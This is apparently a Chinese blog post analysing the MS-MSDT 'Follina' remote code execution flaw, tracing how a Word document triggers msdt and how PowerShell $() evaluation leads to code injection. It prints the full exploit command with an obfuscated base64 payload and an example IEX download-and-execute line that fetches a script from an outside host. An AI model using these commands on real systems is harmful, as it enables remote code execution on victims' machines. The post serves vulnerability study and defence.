msdt漏洞简单分析

MS-MSDT漏洞

一、漏洞利用

工具:

JohnHammond/msdt-follina: Codebase to generate an msdt-follina payload (github.com) 

过程:

word文档中包含document.xml.rels,内置ole对象,指向远程地址

 

用户打开word或者预览word时触发,访问远程地址http://10.12.168.216:8000/index.html,该网页内容如下(网页大小必须大于4096才可成功触发,后方填充了大量垃圾数据):

 

 

 

 使用location.href通过msdt协议执行本地命令,最终调起了微软的msdt执行如下命令:

"C:\WINDOWS\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_SelectProgram=NotListed IT_BrowseForFile=$(IEX($(IEX('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

 

msdt会调起诊断程序,该诊断程序支持一些自动化的命令

ms-msdt:/id PCWDiagnostic /skip force /param "IT_SelectProgram=NotListed 

此处将选择程序页面直接选中“未列出”进行跳过

 

 

 

接着来到下一个页面,输入程序文件位置:

 

 

 

IT_BrowseForFile={......} 

此处通过IT_BrowseForFile进行输入框设置并跳过,也可以使用

IT_RebrowseForFile=? IT_BrowseForFile={......} 

可以实现相同效果。

执行这一步之后,输入框内的脚本命令被执行了起来。

 

MSDT任意代码执行成因:

主要原因是诊断程序支持命令行自动化,同时在输入程序文件位置页面时存在输入框校验不严格问题 

msdt中EditPage::Initialize仅对输入内容做了扩展名的校验,检查输入的扩展名是否为*.exe或者*.msi,这就是为什么在IT_BrowseForFile中最后加入“i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe”的原因,为了通过校验。

 

 

 

 

 

 

当选择程序页面跳转后会进入“解决问题”流程,此时会调起脚本TS_ProgramCompatibilityWizard.ps1

 

 

 

此处获取了IT_BrowseForFile,之后经过简单处理后作为参数TargetPath调起了Update-DiagRootCause

 

 

 

而调起的过程如下:

 

msdt!Packages_Resolve

msdt!ResolveAndVerifyResolution

msdt!PackageCollection::Resolve

sdiageng!CScriptedDiag::Resolve

sdiageng!DiagPackage::Resolve

sdiageng!Rootcause::Resolve

sdiageng!Script::Run

此时用户的输入被当作参数直接调用到Script::Run,通过调用sdiagnhost.exe中注册的对象CScriptedDiagNativeHost 调用RunScript最终执行脚本。

 

 

 

sdiagnhost.exe中注册的COM对象“CScriptedDiagNativeHost

 

 

 

调用至sdiagnhost.exe!CScriptedDiagNativeHost::RunScript,可以看到用户的输入被当成TARGETPATH参数传递给了脚本RS_ProgramCompatibilityWizard.ps1,在该脚本执行前,脚本引擎将该参数当作了合法指令执行,导致了代码注入。

 

 

 

 

CreateProcess执行时,clrstack

 

 

 

参数为何会当作指令执行: 

powershell中 $()表示计算括号内的值,例如下面这个powershell脚本,接受两个参数$a和$b,

 

如果传参的时候做如下传入:

 

 

 

第二个参数传入$(IEX (new-object net.webclient).downloadstring("http://7ell.me/power")),则该表达式会被先执行然后再作为参数传入

攻击面:

恶意word、excel、powerpiont都有可能受到影响,同时如powershell的Invoke-WebRequest、wget直接访问该网址时也会触发

 

 

posted @ 2022-06-07 10:05  Kevin!=NULL  阅读(472)  评论(0编辑  收藏  举报